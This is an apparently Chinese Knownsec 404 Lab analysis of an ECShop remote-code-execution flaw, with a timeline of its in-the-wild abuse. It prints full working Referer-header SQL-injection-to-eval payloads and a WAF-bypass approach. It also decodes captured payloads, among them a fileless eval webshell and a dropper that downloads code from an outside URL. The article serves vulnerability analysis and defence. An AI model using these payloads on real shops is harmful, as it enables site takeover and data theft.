ECShop 0day 的堕落之路
Author: Badcode@知道创宇404实验室
Date: 2018/09/04
背景
ECShop是一款B2C独立网店系统，适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。2018年6月13日，知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”防御拦截并捕获到一个针对某著名区块链交易所网站的攻击，通过分析，发现攻击者利用的正式ECShop 2.x版本的0day漏洞攻击。于2018年6月14日，提交到知道创宇Seebug漏洞平台并收录。
随后于2018年8月31日，ID为“ringk3y”研究人员在其博客公开这个ecshop2-x代码执行/">漏洞，并做了详细分析，该分析收录在Seebug Paper。
知道创宇404积极防御团队于2018年9月2日正式对外发布《ECShop全系列版本的远程代码执行漏洞》预警。
从2018年的6月13日首次拦截后，知道创宇404实验室多个团队对这个利用ECShop 0day攻击事件进行持续的监控分析，从下文的分析结果可以看出一个0day漏洞在实际攻击中的各个阶段的“堕落”过程。
漏洞分析
该漏洞影响ECShop 2.x和3.x版本，是一个典型的“二次漏洞”，通过user.php文件中display()函数的模板变量可控，从而造成SQL注入漏洞，而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中，从而实现了任意代码执行。
值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响ECShop 3.x，这个是因为在3.x的版本里有引入防注入攻击的安全代码，通过我们分析发现该防御代码完全可以绕过实现对ECShop 3.x的攻击（详见下文分析）。
注：以下代码分析基于ECShop 2.7.3
SQL 注入漏洞
首先看到ecshop/user.php
elseif ($action == 'login'){
if (empty($back_act))
{
if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
{
$back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
}
else
{
$back_act = 'user.php';
}
}
$captcha = intval($_CFG['captcha']);
if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0)
{
$GLOBALS['smarty']->assign('enabled_captcha', 1);
$GLOBALS['smarty']->assign('rand', mt_rand());
}
$smarty->assign('back_act', $back_act);
$smarty->display('user_passport.dwt');
}
可以看到$back_act是从HTTP_REFERER获取到的，HTTP_REFERER是外部可控的，这也是万恶的根源。
接着将back_act变量传递给assign函数，跟进ecshop/includes/cls_template.php
/** * 注册变量
*
* @access public
* @param mix $tpl_var
* @param mix $value
*
* @return void
*/
function assign($tpl_var, $value = '')
{
if (is_array($tpl_var))
{
foreach ($tpl_var AS $key => $val)
{
if ($key != '')
{
$this->_var[$key] = $val;
}
}
}
else
{
if ($tpl_var != '')
{
$this->_var[$tpl_var] = $value;
}
}
}
可以从注释了解这个函数的功能，是注册模板变量，也就是$back_act变成了$this->_var[$back_act]=$back_act，而后调用display函数
function display($filename, $cache_id = '') {
$this->_seterror++;
error_reporting(E_ALL ^ E_NOTICE);
$this->_checkfile = false;
$out = $this->fetch($filename, $cache_id);
if (strpos($out, $this->_echash) !== false)
{
$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
if (($key % 2) == 1)
{
$k[$key] = $this->insert_mod($val);
}
}
$out = implode('', $k);
}
error_reporting($this->_errorlevel);
$this->_seterror--;
echo $out;
}
从user.php调用display函数，传递进来的$filename是user_passport.dwt，从函数来看，首先会调用$this->fetch来处理user_passport.dwt模板文件，fetch函数中会调用$this->make_compiled来编译模板。user_passport.dwt其中一段如下：
<td> </td> <td align="left">
<input type="hidden" name="act" value="act_login" />
<input type="hidden" name="back_act" value="{$back_act}" />
<input type="submit" name="submit" value="" class="us_Submit" />
</td>
make_compiled会将模板中的变量解析，也就是在这个时候将上面assign中注册到的变量$back_act传递进去了，解析完变量之后返回到display函数中。此时$out是解析变量后的html内容，判断$this->_echash是否在$out中，若在，使用$this->_echash来分割内容，得到$k然后交给insert_mod处理。
由于_echash是默认的，不是随机生成的，所以$val内容可随意控制。跟进$this->insert_mod
function insert_mod($name) // 处理动态内容 {
list($fun, $para) = explode('|', $name);
$para = unserialize($para);
$fun = 'insert_' . $fun;
return $fun($para);
}
$val传递进来，先用|分割，得到$fun和$para，$para进行反序列操作，$fun和insert_拼接，最后动态调用$fun($para)，函数名部分可控，参数完全可控。接下来就是寻找以insert_开头的可利用的函数了，在ecshop/includes/lib_insert.php有一个insert_ads函数，正好满足要求。看下insert_ads
/** * 调用指定的广告位的广告
*
* @access public
* @param integer $id 广告位ID
* @param integer $num 广告数量
* @return string
*/
function insert_ads($arr)
{
static $static_res = NULL;
$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}
......
$ads = array();
$position_style = '';
foreach ($res AS $row)
{
if ($row['position_id'] != $arr['id'])
{
continue;
}
$position_style = $row['position_style'];
switch ($row['media_type'])
{
......
}
$position_style = 'str:' . $position_style;
$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;
$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);
$GLOBALS['smarty']->caching = $need_cache;
return $val;
}
$arr是可控的，并且会拼接到SQL语句中，这就造成了SQL注入漏洞。
根据上面的流程，可以构造出如下形式的payload
echash+fun|serialize(array("num"=>sqlpayload,"id"=>1))实际可利用payload
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}
代码执行
继续看insert_ads函数
$position_style = ''; foreach ($res AS $row)
{
if ($row['position_id'] != $arr['id'])
{
continue;
}
$position_style = $row['position_style'];
switch ($row['media_type'])
{
......
$position_style = 'str:' . $position_style;
$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;
$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);
$GLOBALS['smarty']->caching = $need_cache;
return $val;
可以看到在SQL查询结束之后会调用模板类的fetch方法，在user.php中调用display，然后调用fetch的时候传入的参数是user_passport.dwt，而在此处传入的参数是$position_style，向上溯源，发现是$row['position_style']赋值而来，也就是SQL语句查询的结果，结果上面这个SQL注入漏洞，SQL查询的结果可控，也就是$position_style可控。
要到$position_style = $row['position_style'];还有一个条件，就是$row['position_id']要等于$arr['id']，查询结果可控，arr['id']同样可控。
之后$position_style会拼接'str:'传入fetch函数，跟进fetch
/** * 处理模板文件
*
* @access public
* @param string $filename
* @param sting $cache_id
*
* @return sring
*/
function fetch($filename, $cache_id = '')
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++;
if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}
else
{
......
因为之前拼接'str:'了，所以strncmp($filename,'str:', 4) == 0为真，然后会调用危险函数$this->_eval，这就是最终触发漏洞的点。但是参数在传递之前要经过fetch_str方法的处理，跟进
/** * 处理字符串函数
*
* @access public
* @param string $source
*
* @return sring
*/
function fetch_str($source)
{
if (!defined('ECS_ADMIN'))
{
$source = $this->smarty_prefilter_preCompile($source);
}
$source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
{
$sp_match[1] = array_unique($sp_match[1]);
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
}
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
}
}
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
}
第一个正则会匹配一些关键字，然后置空，主要看下最后一个正则
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);这个正则是将捕获到的值交于$this-select()函数处理。例如，$source的值是xxx{$abc}xxx，正则捕获到的group 1 就是$abc，然后就会调用$this-select("$abc")。
跟进select函数
/** * 处理{}标签
*
* @access public
* @param string $tag
*
* @return sring
*/
function select($tag)
{
$tag = stripslashes(trim($tag));
if (empty($tag))
{
return '{}';
}
elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注释部分
{
return '';
}
elseif ($tag{0} == '$') // 变量
{
// if(strpos($tag,"'") || strpos($tag,"]"))
// {
// return '';
// }
return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
}
......
当传入的变量的第一个字符是$，会返回由 php 标签包含变量的字符串，最终返回到_eval()危险函数内，执行。在返回之前，还调用了$this->get_var处理，跟进get_var
/** * 处理smarty标签中的变量标签
*
* @access public
* @param string $val
*
* @return bool
*/
function get_val($val)
{
if (strrpos($val, '[') !== false)
{
$val = preg_replace("/\[([^\[\]]*)\]/eis", "'.'.str_replace('$','\$','\\1')", $val);
}
if (strrpos($val, '|') !== false)
{
$moddb = explode('|', $val);
$val = array_shift($moddb);
}
if (empty($val))
{
return '';
}
if (strpos($val, '.$') !== false)
{
$all = explode('.$', $val);
foreach ($all AS $key => $val)
{
$all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']';
}
$p = implode('', $all);
}
else
{
$p = $this->make_var($val);
}
当传入的变量没有.$时，调用$this->make_var，跟进make_var
/** * 处理去掉$的字符串
*
* @access public
* @param string $val
*
* @return bool
*/
function make_var($val)
{
if (strrpos($val, '.') === false)
{
if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
{
$val = $this->_patchstack[$val];
}
$p = '$this->_var[\'' . $val . '\']';
}
else
{
.....
在这里结合select函数里面的语句来看，<?php echo $this->_var[' $val '];?>，要成功执行代码的话，$val必须要把['闭合，所以payload构造，从下往上构造，$val为abc'];echo phpinfo();//；从select函数进入get_var的条件是第一个字符是$，所以payload变成了$abc'];echo phpinfo();//；而要进入到select，需要被捕获，payload变成了{$abc'];echo phpinfo();//}，这里因为payload的是phpinfo()，这里会被fetch_str函数的第一个正则匹配到，需要变换一下，所以payload变为{$abc'];echo phpinfo/**/();//}，到这里为止，php 恶意代码就构造完成了。
接下来就是把构造好的代码通过SQL注入漏洞传给$position_style。
这里可以用union select 来控制查询的结果，根据之前的流程，$row['position_id']和$arr['id']要相等，$row['position_id']是第二列的结果，$position_style是第九列的结果。$arr['id']传入' /*,$arr['num']传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -，0x27202f2a是' /*的16进制值，也就是$row['position_id']的值，0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d是上面构造的php代码的16进制值，也就是$position_style。
结合之前的SQL漏洞的payload构造，所以最终的payload的是
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca
可以看到成功的执行了phpinfo()。
ECShop 3.x 绕过
上述的测试环境都是2.7.3的，理论上打2.x都没问题，而在3.x上是不行的，原因是3.x自带了个WAF(ecshop/includes/safety.php)，对所有传入的参数都做了检测，按照上面构造的 payload ，union select 会触发SQL注入的检测规则，有兴趣的可以去绕绕，我没绕过。。
下面的测试版本为ECshop3.0，3.x版本的echash是45ea207d7a2b68c49582d2d22adf953a。
上面说了 insert_ads 函数存在注入，并且有两个可控点，$arr['id']和$arr['num']，可以将union select通过两个参数传递进去，一个参数传递一个关键字，中间的可以使用/**/注释掉，这样就不会触发WAF。
实际攻击分析
上文提到该漏洞最早由知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”在2018年6月13日拦截并捕获，随后针对这个漏洞的攻击情况做了详细的监控及跟进：
第一阶：0day在野之“APT攻击” (2018年6月13日)
首次捕获到 2.x 的 payload 是被用来攻击某区块链交易所网站，因此我们高度怀疑攻击者是用 0day 来攻击区块链交易所的 apt团队。样本中 payload 通过HTTP 请求头的Referer字段植入，如下
把捕获的 payload 转码出来看
Referer: http://www.noxxx.com/554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:2:"id";s:3:"'/*";s:3:"num";S:216:"*/UNION select 1,0x272f2a,3,4,5,6,7,8,0x7b2461275d3b617373657274286261736536345f6465636f64652827514556575155776f596d467a5a5459305832526c5932396b5a53676b58314250553152624a303576654364644b536b372729293b24615b27317d,10#";}554fcae493e564ee0dc75bdf2ebf94ca恶意代码
{$a'];assert(base64_decode('QEVWQUwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ05veCddKSk7'));$a['1}base64部分的内容是
@EVAL(base64_decode($_POST['Nox']));可以看到，没有写入 webshell，而是直接接收$_POST['Nox']参数，进行base64解码后直接传入eval函数执行代码，相当于一个无文件的 webshell ，非常隐蔽。
本次攻击是由一个日本ip(35.200.*.*)发起,通过攻击的手法及使用的paylaod等情况来看，并直接了当地用来攻击某著名区块链交易所，我们高度怀疑是目的性非常明确的“APT攻击”。
第二阶：0day在野之“黑产攻击” （2018年8月）
在随后整个7月都没有出现利用该漏洞攻击的记录直到8月初，在整个8月拦截捕获该0day漏洞攻击记录10余次，攻击者使用的 payload 都相同，且都是一个菲律宾IP(180.191.*.*)发起的攻击。如下：
554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:3:"num";s:314:"/<SP>union<SP>select<SP>1,0x272f2a,3,4,5,6,7,8,0x7B247B24686F6D65275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4575634768774A79786D6157786C5832646C6446396A623235305A5735306379676E6148523063446F764C33566C5A5335745A53394E636B706A4A796B704F773D3D2729293B2F2F7D7D,10--<SP>-";s:2:"id";s:3:"'/";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca// file_put_contents('1.php',file_get_contents('http://uee.me/MrJc'));和这篇分析文章里捕获到的样本一致。
从整个8月拦截的10余次攻击目标，payload等手法来看，我们认为极有可能该0day漏洞已经被流入到“高端黑产”团队，并进行了批量自动化攻击。
第三阶：0day曝光之“疯狂攻击” （2018年8月31日后）
在2018年8月31日漏洞细节被公开之后，攻击数量开始增加，捕获到的 payload 也变的多种多样，漏洞被广泛利用。
从这些人使用的攻击目标、手法及payload（攻击使用的payload仍然只适用于2.x版本，目前为止没有看到使用针对3.x payload攻击）等情况来看，考虑大量的“低端黑产”玩家开始加入进来，继续“疯狂”的抓鸡行动中，榨干这个漏洞的最后一滴“油水”...
漏洞影响范围及修复
根据ZoomEye网络空间搜索引擎对ECShop关键字的搜索结果，共找到42400 条历史记录。
漏洞修复
目前我们分析下载最新版的ECShop 4.0里对这个漏洞进行修复：
看到ecshop4/ecshop/includes/lib_insert.php
可以看到，将传递进来的$arr[id]和$arr[num]强制转换成整型，这样就没法利用这个漏洞了。
另外我们注意到官方并没有发布针对老版本的(2.x和3.x)的独立修复补丁，相关老版本的用户可参考ECShop 4.0代码来修复或者直接升级到ECShop 4.0。
小结
本次ECShop这个漏洞挖掘到漏洞利用非常有技术含量，可以算是一个经典的“二次漏洞”案例，从一个SQL注入漏洞最后完美实现转变为代码执行漏洞。另外从这个漏洞在野外实际利用的过程，也非常的“经典”，完美重现了一个0day漏洞被挖掘利用转变为“武器”后的完美历程：从被用来目标明确的“定向攻击”，再到“黑产”高端玩家，直到最后在曝光后沦为黑产“抓鸡”工具的“堕落” ...
感谢我们404实验室各团队小伙伴的努力～～ 我爱你们～～
参考链接
- ecshop2.x代码执行
- ECShop全系列版本远程代码执行高危漏洞分析
- ecshop 2.7.3 代码执行漏洞
- ZoomEye 搜索结果
- 安全预警| ECShop全系列版本远程代码执行高危漏洞 创宇盾无需升级即可防御
- 二次漏洞
以上是 ECShop 0day 的堕落之路 的全部内容， 来源链接： utcz.com/p/199113.html
